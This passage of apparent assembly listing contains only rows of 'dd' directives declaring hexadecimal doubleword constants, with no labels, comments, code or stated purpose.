0E25A3ABh, 40115068h, 9D5BD2F0h, 0CFBF7F00h, 200FB18Fh dd 0D3840359h, 0E253C3BBh, 0B6AAAFE8h, 0BC0778BCh, 8841FDE3h dd 0D7F198A6h, 0E5FE4987h, 1E430056h, 0C448E386h, 0F459B3h dd 718EFBCAh, 0F34BF07h, 859E6BDh, 6D60432Eh, 3390E055h dd 1E0064EEh, 5E8D2BC9h, 0EEF6994h, 3ABF1AE5h, 200EE0D4h dd 0D7AB3DF6h, 964D3400h, 4B00607Ch, 7D91D834h, 0B08D6322h dd 2E173EA0h, 0DCD5A09h, 41EA9C64h, 860E143Eh, 53AC05FDh dd 0CF081B0h, 7FA14DC4h, 856B007Bh, 0FBD48FF1h, 0D800B4AEh dd 3986A2A6h, 0E22024BCh, 0BF740F30h, 0A800A74Eh, 8C5136C9h dd 110E500Bh, 2C9C603Fh, 0B5C10682h, 0B040B7CCh, 1FDC858h dd 527572BCh, 0AEECF561h, 16C4BC65h, 468C0196h, 0C33A5DE9h dd 0A054E2A2h, 8BAD200h, 0BFD057h, 0D8326DD7h, 0B780C80Dh dd 7263AB00h, 0B8777F42h, 0C6620B5Eh, 80206E6Ch, 1B563273h dd 0A31C68F4h, 3000E835h, 393A465Ah, 0C44F1Ah, 256A1774h dd 0A9002FB4h, 0AE8C293Dh, 6F98EDh, 7393BA42h, 5A0F1B4Ah dd 0DC7D3F00h, 0FDF62631h, 5FA00092h, 3AED6FA8h, 4500D3BBh dd 124DF53Dh, 0C0FB3Fh, 0E28522AAh, 89817990h, 0CA523Bh dd 71BDEBE8h, 12E1FD1Dh, 901C951Eh, 506368FCh, 0E4830926h dd 904A9C0Ah, 921F7EA8h, 3C24467Dh, 800E8608h, 30155084h dd 2530080Dh, 46A53154h, 0CC49289Ah, 0EA07008Ch, 0D4A88C5Bh dd 380F22B4h, 0E0D9C202h, 0EFFA8191h, 0B1E1003Fh, 22128713h dd 4D00EA1Ch, 7475682h, 3FB5F783h, 0E8007CA0h, 88F9D731h dd 2A003B45h, 0BE04609Eh, 0F06CC1B2h, 46300E01h, 917B0ECh dd 0A6803FC8h, 14ED8D8Eh, 80F3433Ah, 21A3345Ch, 39A0EB4h dd 71F14B62h, 0D2D48B96h, 28521CDCh, 65B5A200h, 3551D960h dd 18507E18h, 0B0045B85h, 0A300ACD4h, 0A52948ABh, 989051B2h dd 0F06E00A8h, 1EED5C66h, 0E06E84E1h, 9F5EA0A0h, 3C6F8785h dd 0CE812B34h, 7301B8B9h, 0A6EECCD0h, 1FC77D00h, 32E40E8Ah dd 9D870710h, 2EE0FD63h, 80E6BAE5h, 8A24FB68h, 7C612602h dd 40F3F15Ch, 0CE4959F4h, 26D02110h, 671C50EBh, 0F871A481h dd 1881F02Dh, 12E684BDh, 85646475h, 384240B6h, 8049004Ah dd 9D072217h, 10AACF20h, 0A0707F90h, 0B13F0355h, 2675CA90h dd 52A84B8h, 0E4E54500h, 0A083BE09h, 0A1DE008Bh, 21886497h dd 861D1A69h, 0BE415Dh, 36BD242Ah, 4B309DC3h, 0CBA5B083h dd 0E272490Ch, 471019h, 4528883Ah, 66A3E0Dh, 21172090h dd 0C5133429h, 41C15600h, 38D56980h, 5281A960h, 4589F4DEh dd 0F7EAC417h, 39F99802h, 8EED8A26h, 2714E79Ah, 0F240A680h dd 600839B5h, 0D9EB8D00h, 1348DC69h, 2E1E4B00h, 0B354E69Ch dd 0EFC300F1h, 234C50C7h, 0C8000F41h, 0B99B3682h, 0CDFDEDh dd 13C388D1h, 0FE9CE25Fh, 95253B00h, 0EB8E7F67h, 8ACF2744h dd 84BF2887h, 0E8B490FFh, 7038BC0h, 928EF2F9h, 5DA2B88Fh dd 8195000Fh, 3757273Dh, 4E003993h, 24DFBA6Ah, 5CFC2F74h dd 1C13A8A1h, 3D420040h, 5B08CB5h, 6BEA8B04h, 0EF32D7h dd 3404C676h, 1C0944B8h, 49A43Eh, 3350532Ch, 58F00191h dd 1AC0DF70h, 0D851CD11h, 0FD385BA4h, 30CB8E8Bh, 1073A0B2h dd 968A680h, 2D6139D4h, 0B13E9780h, 0AA00CB34h, 0C683BDA3h dd 0ECE06206h, 911302C9h, 0EEA1D1C4h, 40FEC469h, 0AF62F0A6h dd 8F432138h, 0CFE2873Bh, 963140B4h, 0CBFCC1h, 0BEDA919Bh dd 8A3FEB50h, 1E29DB00h, 78A890ABh, 7DE1E44Bh, 9E7C025Bh dd 4E40C0CBh, 5900C4E4h, 0A067CA71h, 24ABE207h, 0E4EBAFh dd 0A9AA2C23h, 11C8D82Ah, 71C014Ch, 8B2117ACh, 90988E20h dd 5C7CF3A8h, 370170DBh, 0CA7ABB86h, 0FAEEE484h, 7809000h dd 0ED3C819Eh, 0ADD5072Eh, 20CBC578h, 26DA5546h, 22A760C0h dd 0A9574F5Eh, 0E8023E50h, 80904A02h, 787948FDh, 8A749489h dd 449991h, 0D385A266h, 0B2EA3B70h, 2DD88E00h, 0D74841C9h dd 965E0B78h, 0E4B08635h, 0E1F45FACh, 888A6705h, 0F28034DAh dd 8718C8h, 7440E938h, 134126F8h, 0A747F002h, 0E0FACA81h dd 0F44336F0h, 0E17010DFh, 14E800E4h, 68535292h, 6D9E4A4h dd 5671BB6Bh, 0FE3B09FDh, 0FCD384BEh, 0F8E02426h, 0EFC60036h dd 0C1F04014h, 0ED076C3Ah, 0C415D412h, 0F0C2E7D5h, 604AC1A8h dd 0D24BF077h, 0B8032564h, 2D569050h, 0C459022Ch, 0F9E281CAh dd 5CB9FAE0h, 0EF518600h, 3C1D7897h, 0F72700E5h, 7282802Ah dd 0F8B0CFA6h, 5014200h, 9BB91CF1h, 4D8D13EEh, 0F648B090h dd 40205100h, 78C63F21h, 98C500F1h, 0BE1A2886h, 530093A8h dd 0B26B055Fh, 5C0B9AC7h, 0D00EDEAFh, 0B1A09C82h, 52D5D77Ah dd 1300F7E2h, 3DC1544Ch, 0CA118Ah, 0B5D4FC15h, 7E23BEDEh dd 1825293Ch, 181807A7h, 0D0B86Ch, 6E7B6992h, 534FAFBDh dd 0B8C755E4h, 5CF1E53Fh, 23C001CCh, 662F00ABh, 7DE461B4h dd 257E7CA5h, 211C3C00h, 43D64651h, 50300FAh, 6D5A01A9h dd 740EC296h, 0C666DA7Ah, 0FA586792h, 0AF540023h, 0D564ED37h dd 36332BD1h, 0C0AD8073h, 5C7995CFh, 6E2AA476h, 0D40B05F0h dd 689CB6h, 6663E284h, 76492BC3h, 9F770054h, 0A76F7CF7h dd 935C0948h, 5E00C56Bh, 8C9E2B1Ch, 92FA7F01h, 9D5844D8h dd 4ACB67DCh, 44C0180h, 8B39E747h, 0F4E9991h, 0A2920E0Ch dd 0C93256DBh, 33304264h, 0F7660040h, 0FA8A48F3h, 0B04CA3EBh dd 5CE9C020h, 0C4A6D2B4h, 0A08493C0h, 302AE8Ch, 694DA40h dd 0E8D377h, 675986FDh dd 32002349h, 2D6EEBC4h, 6072374Eh, 8BE92E12h, 0B002F2F6h dd 0E8790114h, 0F9504126h, 71C9CCh, 0C5187DB8h, 3165D6DCh dd 40B2571h, 0CEA63F9Dh, 133BEC10h, 431F3988h, 197B6E6Ch dd 5131CB98h, 155DF301h, 0CEF030EBh, 7F88FCh, 0CA29C498h dd 2C0B41Ah, 9D9FFB12h, 0C0DF38B1h, 2C1CAE44h, 2316CFh dd 14F1AC74h, 0A6010E51h, 22467A3Eh, 75207E63h, 25BA0B06h dd 20A4EF8Fh, 63A4F0A1h, 0FA6E6C02h, 41CD109Ah, 0C9F89E50h dd 746000B1h, 0E52632F1h, 0FE003477h, 2B97918h, 10C654h dd 0F0E40CA0h, 0BD3CFFC8h, 3A099598h, 0A0D17B39h, 0BA43C37Ch dd 0AD8F0661h, 60CCA971h, 0B330D500h, 91A07506h, 0EF92001Bh dd 0A89E730Eh, 0ED1C281Dh, 62875109h, 4E038BE4h, 11A8018Fh dd 81D624D7h, 58DACC38h, 76929004h, 289082C6h, 0BCABEFh dd 0D170340Fh, 0EEA69CB8h, 0B027497Eh, 2D1540FCh, 0AA990971h dd 0BCA0C874h, 6435AEA3h, 0A43FC000h, 0E91BF943h, 23E31262h dd 0F6408057h, 7F0ED16Ah, 0E74BB842h, 37A04EBEh, 0B860CF9Fh dd 19F40498h, 0B89874C9h, 69070010h, 4717DCF5h, 0AF140FD1h dd 2A228C58h, 18E03C74h, 7200E025h, 0D1B5D0Bh, 1AED3D5h dd 0EF90204Ch, 0CC4BDAF5h, 0C57F9D7Ch, 68A8D40Fh, 2088AE4Dh dd 96F78C5Fh, 0E9BD0078h, 3DFEF45Eh, 1D5C6742h, 0C208008Ch dd 0B81F647Eh, 0C3DB0032h, 0D0E4E966h, 0B3E0FECAh, 7DB4990Bh dd 3C358202h, 4A4458E1h, 7C04210Ch, 9C900797h, 22E973h dd 2FDA98C9h, 0ED2613F6h, 0C8301F30h, 3F2BB3Eh, 6612DB87h dd 1905DDADh, 40F59B61h, 2172E8C0h, 0F61F074Dh, 31A1768Bh dd 24B28527h, 0F030FDACh, 0D1391971h, 0C047E629h, 0C3F4A938h dd 0CB728281h, 7B3CE71Eh, 71163E80h, 7C1B5A1h, 5E0DC297h dd 0D0E0E6EDh, 0FBCF0910h, 34BD4305h, 2D40BF7h, 1E915882h dd 7E3BA858h, 2DE3003Ah, 9A84D96Fh, 0F49F175Eh, 0ED8A0989h dd 40372800h, 0AF1EA77Ch, 3B8F29BFh, 14DEE70h, 0CE9F9D16h dd 80AC30h, 0CDF5616Eh, 398691A1h, 7633DB01h, 14B98B3Dh dd 7C15D120h, 0BC77A8h, 3C75120Ch, 794495D1h, 627EA49Ah dd 9C137138h, 0DA41CBE7h, 1B8FC5E2h, 24C8864h, 0EABA8DD3h dd 0CC804BF0h, 1B789F8Ch, 0B2E1F6F5h, 743FE069h, 0F3333505h dd 27C0D0F6h, 0DB125Eh, 6FECD76Ch, 82FCA4BCh, 0AB2F151Eh dd 410FF528h, 0E44958C9h, 798068AFh, 5812C80Bh, 7B00D15Fh dd 14DD30ADh, 4A90132Eh, 0A60124FCh, 0C050EA8Bh, 9AE4D8ECh dd 0ACA54FA7h, 8590002h, 71F92224h, 0C02C00FCh, 0E8382E53h dd 0E97B8B5Eh, 48948400h, 0A9C55933h, 0D0F66012h, 767D932Bh dd 8288CC00h, 5160E6F2h, 0FF910F7Eh, 8173F71Eh, 20CFDC2Ch dd 4FEE5B73h, 461058h, 3AB38F92h, 739F7EA3h, 683503AAh dd 7C1267DDh, 4A2B48D0h, 0CF1E3Fh, 3A76632Dh, 0A06488h dd 0DA5EFC4Ch, 0D30E9D8Bh, 0CF417D00h, 92E48CB2h, 0E1260501h dd 80FE58FCh, 985DD3Eh, 0BBA98F02h, 5C0F8769h, 47E54068h dd 1100C0FFh, 0BFD66299h, 4BB451h, 85EF1333h, 571D87FCh dd 3BECF700h, 0ED8CEE6Fh, 50092FAh, 50A8F4DAh, 1478C819h dd 0D6977900h, 8B7DE768h, 0DCFF3D24h, 0AA7FC804h, 3458C71Dh dd 94C571h, 55816A0Bh, 0FC03482Bh, 0E4D27B37h, 46AA9020h dd 4028B644h, 66D92949h, 0D302D798h, 59C428D5h, 4F108242h dd 35C522Bh, 0CDAA142Dh, 0B4A03420h, 4F284722h, 5B2D1024h dd 0AE54905Fh, 28EF00BBh, 22C9B9DEh, 0E400CF78h, 0CA463BEEh dd 7DB1196h, 85ABF641h, 0A069EBA7h, 95CD1190h, 1A0CED8h dd 0D9B7A514h, 0CCAA37DAh, 0CA02245Eh, 9C07EEEFh, 0ED85190h dd 0B2208B70h, 2FD8F88Eh, 0A17EE9A0h, 25C90100h, 0EAEF5BDAh dd 7C70034h, 4FF13F66h, 0F33D116Eh, 0EC6700E4h, 5D627A5h dd 7BCC14DAh, 43D9CDBh, 4281F582h, 76AA86h, 0AE8A0077h dd 0EF87F7C0h, 0D135E207h, 6BF0FE62h, 8520D3h, 0FDC55075h dd 0DDDB1F36h, 0BF5F8601h, 6EBE0F2Dh, 9030E7F4h, 2330C02Fh dd 0F3A42A1Bh, 1D912E0Eh, 0A9E0406Ah, 933E67h, 0E68AEA56h dd 0B7B4AF83h, 63986E03h, 0D039A10Fh, 1EB63FDEh, 0D2A802h dd 0AFF0473Bh, 22ECD5F4h, 84A27D00h, 3F7B1FA3h, 0E78007Ch dd 0AC1DCEB0h, 2A607095h, 0CC596D91h, 0FD3700A4h, 0B0A7BD1h dd 5B00EFDBh, 0BB939225h, 1E65708Ah, 11F3BF3h, 0F5684637h dd 83EAF47Dh, 8D4C4103h, 0F0E50934h, 469EF9h, 36044759h dd 440DE3E1h, 3AA16602h, 0C2E851D0h, 4F9A40A2h, 85D314B4h dd 0F1008456h, 0EE42F24Eh, 6C3C5246h, 1C1705AFh, 7FC745C1h dd 0F268AD30h, 390CE6A7h, 98070A1h, 0E1A68FF5h, 6700BFB3h dd 0AF3A1C26h, 0E6E7D7Fh, 0CAC8FD0Eh, 0C30C3B80h, 45076F2Fh dd 802D21A8h, 0ABC043D0h, 29086071h, 0F7053734h, 8C117362h dd 9C6E600Fh, 66D50191h, 0EDFC3AB1h, 0BB218086h, 7F3D920Ah dd 0A7A00EE7h, 41C0EE74h, 0F881D207h, 0AB633300h, 54E04615h dd 2F1C3A83h, 9F8B4F00h, 0A5BEB624h, 0F95AF100h, 78816D22h dd 798E01B0h, 34031A13h, 67776083h, 17002C92h, 0C87E7F5Fh dd 13EB10h, 0CB59A148h, 0E22393E1h, 0C6B2200h, 316FAD03h dd 0EDE492h, 0CA7533DFh, 98669A72h, 3B5A4300h, 0AFD1497Ch dd 681A24E9h, 0B0C300CEh, 0D08BBA6Eh, 1E1FDEE4h, 0B45C5CFDh dd 0BEC06BDEh, 2967C11Dh, 17EC0066h, 6F287FBBh, 749081D3h dd 4407D877h, 0E756E4C4h, 727DBA50h, 0BF6F172Bh, 0F0670087h dd 1041FDACh, 0A703CE00h, 0C9A2B0DCh, 5B2C00EDh, 0AC987A60h dd 2B7A526Dh, 39853E00h, 0FE18C370h, 1299B8F9h, 40F5540Fh dd 0AE10D470h, 5100DC1Bh, 0B0674526h, 0ED5A13h, 2C7EB419h dd 0A9EF7C11h, 7194F900h, 0DDD9D36Ah, 0B0D51CDCh, 0C6BF00A5h dd 1AA709FDh, 0E20FA100h, 0EA179324h, 747E28h, 0AFD68E64h dd 0F20C4EA0h, 0E06E8800h, 16FD96D0h, 41EAF198h, 0D4406A38h dd 3F57F6h, 310EC90Dh, 73756D58h, 0A435D900h, 8FD7C1Bh dd 4CB900BDh, 0B514D1B7h, 0F30043DAh, 205222B8h, 2AD978h dd 8C9CA1EDh, 0A848C7E7h, 0C0007490h, 3E47CF5Ah, 3607D0h dd 0B4F8098h, 269913C5h, 3C245F04h, 3CC03F88h, 48E16C51h dd 0C1008464h, 46EFB9BBh, 13099FC3h, 0A06BB7BFh, 0EF1204Ch dd 0CD8900FAh, 811ECA6Dh, 0E91E42D0h, 20F935Bh, 679220F3h dd 28A876BFh, 8F7127h, 0C2E6F961h, 60BB6372h, 15C839h dd 0AF0C9154h, 69877Eh, 3A24EB82h, 0E4BA1EB2h, 0B60619C0h dd 4E6AEA7h, 0D6350B42h, 9824C010h, 211C2081h, 0BC009BFDh dd 0B18A129Dh, 0BDFF079Eh, 0B0A0BE91h, 77DC4F17h, 0C88C5524h dd 0A6402D80h, 0FF1A3Dh, 3BBE07FAh, 750927A7h, 802B6728h dd 972C85E8h, 0A500974Eh, 5E24A889h, 1AF43Ah, 0A0B71D8Fh dd 8012C2C8h, 73624E00h, 80CB832h, 0C14B0035h, 9D691C28h dd 220FE667h, 60C606BDh, 0CC98265Fh, 86B1007Fh, 47EA206Fh dd 0B2070B7Ah, 0F7C44822h, 3AA542B0h, 13CE6DCh, 44F09110h dd 80569C39h, 8E48C520h, 0EAF4B84Ah, 7D710302h, 0C37EFF2Dh dd 82A9BEFBh, 3F683480h, 0A400ECE6h, 0E31E1AF0h, 2E3DACh dd 1757BC6Ch, 0FE4D990Ch, 0AEEC2250h, 6D2A5503h, 0C0C4D3CDh dd 0B82CF2h, 0CA4A1CF0h, 89669711h, 5068ED00h, 0BCFD7430h dd 0ADDD185Bh, 673E4023h, 4B49DF90h, 0D2000F8h, 0C21942D3h dd 26780BC5h, 8B80B895h dd 40A91755h, 1D4EE0Eh, 0F81EE0B5h, 1FF761BAh, 80EAE933h dd 0A1B6C9D2h, 7907FF44h, 12805CBDh, 53230FD0h, 203805F4h dd 8027147Ah, 6A2E8604h, 40F7CD0Eh, 82E3400Fh, 4845643Eh dd 0CA240AD7h, 80C81C24h, 0B2D2CF29h, 3A007CDAh, 77E615ADh dd 2C52BBD0h, 53C7BAh, 0F9B5F5B7h, 76008B9Bh, 8367A27Ch dd 0C66422h, 0D7264E89h, 6AC16D01h, 37604Ch, 3B759D55h dd 775BF0ACh, 0C7C61FCDh, 214F405Ah, 0DF2BFC4Bh, 0DC9A4700h dd 5F092C41h, 5C600013h, 882F48ADh, 0F11C84D4h, 698ECDC5h dd 0AED40Eh, 8589B64Ch, 523711h, 0C3F50761h, 0D78014CFh dd 8D0CAF00h, 0C25431B0h, 71E600B5h, 0DD0E4DF1h, 0BA0E07F3h dd 608812D2h, 165BB0D4h, 362407E3h, 703AB86Eh, 0BEC7D729h dd 9FB6F203h, 0F4490448h, 6DD1CBC0h, 828F4865h, 52F9BD00h dd 0E310BC26h, 2991090Fh, 0D2540DFh, 997271h, 403C6DD4h dd 0BD5197EBh, 5200A276h, 0E9E0DDAAh, 1B9F44Dh, 444F70CBh dd 0D0431A81h, 0A9000C8Bh, 63B3CFBh, 71E0887Eh, 29D000C3h dd 723E6538h, 6A00D527h, 0C4A13D6Fh, 0FC8D1B1h, 0CF1168E5h dd 0DA91C19Eh, 208F1CFAh, 57007470h, 8D4A0787h, 50EEDDh dd 3CE7CF1Eh, 7A087825h, 7000B1E6h, 1B55D7D8h, 994337h dd 48A296D5h, 0B17ACB9Dh, 959EE703h, 0A810358Ch, 0F185A8h dd 0D125DDBEh, 0A45C7E5Eh, 0ED967D13h, 0E0A6700h, 1AC046Dh dd 0ECA6B8ADh, 0E9D91EC6h, 0B679F467h, 83ED7100h, 0D477E374h dd 5DF300C4h, 47868754h, 8000E28h, 9C7011AAh, 0A0C0D54Bh dd 63438410h, 0AB5ED028h, 8C721388h, 0CC3608CEh, 608D1856h dd 555310B3h, 21C99405h, 0E3A480C9h, 0A33B21h, 0B7298A86h dd 0DEBB69Ch, 99274A01h, 8E76F58Fh, 8C7B4083h, 29FB84E0h dd 88D77130h, 30A32314h, 0F70821FBh, 8F503727h, 4974F050h dd 0C02B1580h, 42904728h, 3005D6Ch, 99E27E78h, 6DBF40h dd 8666675Eh, 554D0C6h, 6815500h, 7AE630EBh, 4CFC02D8h dd 6A918C4Fh, 6BAE7DE0h, 0D323890Ch, 15EFD85Fh, 0F046FDB8h dd 7AF45E0Eh, 138C7CE0h, 0D53A4A10h, 3960F443h, 46711A21h dd 0EC8D0C76h, 72A84F08h, 3FED6400h, 0B5B47B22h, 4A110061h dd 8027C6D3h, 96070984h, 42D90A5Bh, 0D50D8E90h, 23201FD6h dd 0D1D70095h, 0D90C544Eh, 10389628h, 0C02AF020h, 9A905479h dd 0A519CE9Bh, 0F4B8ABF2h, 77EE7D18h, 134B8C10h, 15805CC8h dd 75C84674h, 3D5A0714h, 0C3C3D9BBh, 6100886Fh, 5842E362h dd 72DC6C7h, 0B41D27BDh, 0CF61F0D5h, 1300516Dh, 9A7DBC20h dd 0A1BB5D3Bh, 7918E044h, 8C2B73EEh, 3B11A06Bh, 1200E920h dd 21E44129h, 0D40460A8h, 5D0676E8h, 100F6CB9h, 41440A00h dd 2608D518h, 22001BEh, 0C31DB2D9h, 0DB79D029h, 0B9CC9C1Ch dd 8F9493C0h, 4491Fh, 2995CB17h, 0D8FD87F8h, 0C67BB00h dd 0C51CFB61h, 0F197005Fh, 0F5129CEh, 5A062815h, 5936223Ah dd 5B250708h, 0A7374F35h, 0D59E6008h, 660071F2h, 647C34DDh dd 6923DBh, 70F82BA3h, 8B1E5F1Fh, 6B26E800h, 746F188Dh dd 78CF46Dh, 0E2237068h, 0E0A32F41h, 0BDF9179Ah, 0DCC3D0DAh dd 9214571Eh, 19C06A00h, 0E6044C1Bh, 0ED9A01EFh, 96DECAE9h dd 177DFC93h, 6AFC004h, 0D7809813h, 385AFEh, 0CC2C1419h dd 451A40Fh, 0D4E7F100h, 0FB403090h, 8FE400F7h, 7C4327B5h dd 4F004778h, 0C37DC403h, 0B80A748h, 4EB9F61Ah, 50CE6787h dd 0CAA1E7B4h, 0B1EB4300h, 87EDC521h, 0C0C40117h, 956A4B78h dd 0F58AF8FFh, 280BDF01h, 0F4CAB154h, 0A7D770h, 26BD946h dd 3CEA96FAh, 90645801h, 0C2650C37h, 61E5020h, 0C3E4931Dh dd 2107B1BDh, 1F630A9Ch, 5D354970h, 0DB1C0742h, 6061EA60h dd 85E2D5B7h, 0E59C3C00h, 52BE5AEEh, 24DB30A2h, 36C6811h dd 13634807h, 1FC6B025h, 0FB7D40h, 0D620B8Dh, 0AC718FAFh dd 32DF9903h, 0F1537409h, 0D7E089A9h, 3FF4F8h, 612B0A38h dd 0F3ADD846h, 8025FF00h, 0C1BACAD0h, 0F6DF407h, 0ECF53620h dd 0ED27D620h, 0B3020DB7h, 8CB2F88Fh, 22ECC0D3h, 976D0207h dd 1655F32Ch, 0F5B9E780h, 1F00BD7Ch, 68DA533Bh, 70B0C9h dd 287EABAEh, 0E68DB5B7h, 8091903Bh, 0F087736h, 7167968h dd 74D98BAEh, 0D0FAFFh, 0ABA6627Ch, 782C3D09h, 26065020h dd 0EE989BD0h, 52A1E79h, 0ED4800F1h, 0C1FD3EA3h, 80513700h dd 9FF514ACh, 174EAF8h, 86DD52D5h, 0F8286F7Ah, 2D00CBC9h dd 0B982B63Bh, 28961E2Fh, 58D43960h, 0F307A247h, 10A0FBADh dd 3852B304h, 7059280Ah, 6600B8DAh, 87B1C87Eh, 10E13BA3h dd 0E9B0B680h, 0B8A8FD5h, 0E3AE600h, 821CAE9Ah, 0A064001Fh dd 0F48BE0D8h, 29070ADCh, 0D6AF336Bh, 0EA95DBA1h, 749698F3h dd 5AF93B7Ah, 0C0B0CB80h, 0D78DA73h, 9C856E00h, 0A48CF818h dd 0CA2E0035h, 0FDF0AA53h, 0C100E35Ah, 0B854EBF6h, 3EFE47E9h dd 11FD3F9h, 7A03072Fh, 0F6C8774Ch, 48485C0Dh, 0BF321140h dd 0C0618118h, 2C001DD1h, 7436736Bh, 0C196F6h, 0DF32D7E8h dd 0D1A5ED39h, 0A61ED2ECh, 0D3004464h, 2B928658h, 17049004h dd 54361A2h, 805107C3h, 0B0959A88h, 164363Ch, 10B63A94h dd 7880FB35h, 7C0ED4E1h, 0DA1E76FFh, 0B9DC53h, 86EBD990h dd 4E7598h, 0BB635897h, 531988EFh, 0FA433000h, 0C0AAE6E7h dd 0C72100C3h, 2480ECC4h, 39001A8Fh, 0F12D7A26h, 39B8355h dd 8CD53E8h, 0CB984AE9h, 0D000A10Ch, 7D5BB85Ch, 0E213107Fh dd 24CFFEECh, 94543Ah, 0E7DF2FBEh, 0FA0090A6h, 3520192Ah dd 505C23h, 0E358FCB7h, 0F89AF6D4h, 80FD133Dh, 116E34D2h dd 5E7D8Fh, 311798F5h, 25CF94DAh, 766334Ch, 0CB3D847Fh dd 50B52423h, 0BA4839h, 73519A7h, 0C23732Fh, 9BACF400h dd 43CDCA94h, 6B0400F9h, 0DEBB4D60h, 2C38AA39h, 8140BA74h dd 327FB721h, 17F8ACBDh, 0A8197337h, 486BB0h, 0E8639857h dd 24B58A77h, 1EEA3F00h, 0CBF01244h, 6BFC9Ch, 46660F4Ah dd 0FF99EEA7h, 0F158F51Ch, 0B938C880h, 0AAFA89h, 0DEBFD472h dd 0AD054F1Dh, 0EE6CE201h, 0BCA75014h, 0A6F3D4h, 904D3403h dd 5116F6BDh, 88325537h, 36F4E2E0h, 94D700AFh, 0B468F872h dd 1EF091A2h, 34C42A00h, 2F9A8CF5h, 80C9F947h, 484C37E8h dd 0A5002016h, 64C81B51h, 7303BC5Ch, 0E5C11CB4h, 93AB812Bh dd 4BF88021h, 0C7D0B0A2h, 906F40C0h, 0A8148F0Bh, 0D660CE60h dd 901D1813h, 45FC0Fh, 67B93BC7h, 0B33F484Ch, 3CC1BD4Eh dd 30878B13h, 8251998Dh, 0F840D9C0h, 2700263Eh, 0C23014A7h dd 1DCC9AE1h, 80C5F176h, 66C65073h, 0A600755Eh, 80EB88A3h dd 1F339365h, 80A27D98h, 0A908F15Fh, 0CAF0BABDh, 0F65CAA00h dd 0DD3216E7h, 7A18983Dh, 0DE8E143Fh, 7B01B042h, 0E340E4F8h dd 10108043h, 2739253Ch, 43FB050h, 0CAE4B606h, 1B5980C5h dd 3A71858Ah, 28E6F11Fh, 6B92BF42h, 8D5AE047h, 0B9700DBh dd 0DEEC2015h, 0C100B0E8h, 0F7E74AC8h, 0A0B6C25Ah, 95A782h dd 0E69B0AA6h, 0B4598CDh, 172FE026h, 0EB2AA807h, 81F25550h dd 6F2B0287h, 1D798004h, 5D1734C0h, 0FAC18603h, 0C7211AE4h dd 0C209859Ah, 0AAD000ECh, 993750B7h, 7CDA9E9Ch, 7A47B500h dd 4D792259h, 0B246BE2h, 0B60008CBh, 0DCBCF6BEh, 0DD1701C8h dd 0EE371C2Fh, 0DC11D992h, 2E4C7D08h, 0DFFB8070h, 0AE5119h dd 0BD95AAF0h, 88C4C313h dd 0B89C0100h, 0B78756B1h, 7D0F297h, 5E95592Eh, 0F220D34Fh dd 1D7523C8h, 11B18909h, 2900FDECh, 0FEC70C50h, 0B7F5EB00h dd 69CBEAA5h, 0ED4D0065h, 76CA8EC5h, 0DB17622Eh, 0BC5D8113h dd 0E7A15180h, 6D928Dh, 8FF85F7Eh, 247DB801h, 0E0408D83h dd 0EBCDFAB4h, 3057296h, 8CBB5BC7h, 2C88DB94h, 89A030F4h dd 122CDA58h, 64003C05h, 0DBAB5709h, 3911C7D2h, 63A8346h dd 410FD4h, 76953E7Ch, 85E706CAh, 8D55F29h, 4A37B500h dd 87FE9B35h, 0B74500ECh, 7C4CAE71h, 6067E648h, 0E53576C0h dd 81FC0C91h, 0CD6BDC0h, 52429587h, 85F0AA31h, 93BB317h dd 25894040h, 5821666Fh, 583A4046h, 2C5929h, 97BED09Ch dd 5D0045D9h, 0EF6EF4E9h, 0A0907504h, 2A5482h, 329E9134h dd 253009E5h, 1E1CDC0Fh, 0CAA4404Dh, 38B9B92h, 13497316h dd 4AC87977h, 88009610h, 53C0A487h, 9FD2A3h, 0C43FD39Eh dd 0BAB125A8h, 6F73FD1Dh, 0F7F2BE81h, 0E187E15Bh, 608D3AD2h dd 82877E4Ah, 6EB90C00h, 6F841BEEh, 5E10135h, 0CCFCD6F0h dd 40F04892h, 2495300h, 0E628B8BDh, 3F09CCB3h, 0AB00A021h dd 27BC4D49h, 0FC3CD78Bh, 24BE7D0Ah, 5971CFCh, 40E564ACh dd 3A4BBB8Ch, 761F73F4h, 0AE5908E7h, 2180BF08h, 1E3A43A4h dd 0B1002BA8h, 0CC3CFFD4h, 2117D51h, 6AF10E15h, 0D18C8B26h dd 39C0DA68h, 6F638C02h, 109FC79h, 0E56C4CD4h, 9FD9279Dh dd 0EB86BBD9h, 10186DABh, 49F0BC7h, 0B46C3033h, 25DAE600h dd 4D60E469h, 2B1A7140h, 0FFD800C8h, 81F10F55h, 77015112h dd 7FCCE3FBh, 0A84062A4h, 0EABAB4A6h, 0A04CEC3Ah, 0DCADCh dd 0C9B32A1Dh, 0BB617F8Fh, 2ABE58h, 6A86F3Ah, 48D7AC43h dd 260E6F36h, 38C0AB10h, 862D198Fh, 4A00BC7Eh, 699FAF6Dh dd 0E67053h, 97C0A35Fh, 7C189E3Dh, 1C8A3B60h, 3EFE9257h dd 0C05FAE15h, 61D39462h, 0D6FDA113h, 0DD42C801h, 0DCD0D9F2h dd 73323EE7h, 0BC83021Fh, 0C31F0600h, 0CD091CA4h, 411B300h dd 0F419ED7Ch, 0A1FC00CAh, 467D15D2h, 37A16B0h, 8DC81A07h dd 7B105E32h, 4C73B19Ch, 910091B2h, 0AFBF7671h, 1B009B54h dd 257B2D36h, 38CE5Fh, 0C5CFB9Dh, 0F12C1727h, 0BC807900h dd 3E6C3AFCh, 70EB078Ah, 2943D31Eh, 9C4500FFh, 0E9A093h dd 9FD738B3h, 0DC61C50Fh, 0A3C45500h, 98029C8Ah, 0DAC001FBh dd 73448719h, 7146C81Fh, 8D1D3Fh, 3AA1E797h, 3B4BE161h dd 15857AC8h, 0C0ADDE4Eh, 0C9B60AEEh, 0DFF20300h, 7D9C4B7Ch dd 0DD2603A0h, 0D4216C09h, 23FC8C80h, 0BB805A07h, 0A53065D2h dd 35CF15h, 0B534C886h, 6AA7B45Bh, 678E5D0Ah, 311DC84Dh dd 829000B8h, 44DD14DFh, 0ED1D0766h, 605BB370h, 0DB69CFFAh dd 8152F302h, 40193A72h, 388928E9h, 1080C91Bh, 0A87B2C9Ah dd 0B1E0250h, 0C6005927h, 7166EDAAh, 0C45D00C5h, 0B1087D2Eh dd 0D4603D8Fh, 2DC25978h, 9DCE3A12h, 83BA3B8h, 5E741F00h dd 392AFE5Fh, 0E685A600h, 9277C896h, 4711005Dh, 0DEE805B3h dd 2C00C432h, 718E52BEh, 3A6FBF60h, 0E10015FAh, 0B1DF7F40h dd 7600DAFFh, 1AA4433Ah, 845CEFh, 28BE6F3Bh, 5494CBAh dd 80468B3Bh, 0B677C9E7h, 19B2D6h, 21E6DB25h, 2C27D72Dh dd 0FDAEC807h, 0E8474367h, 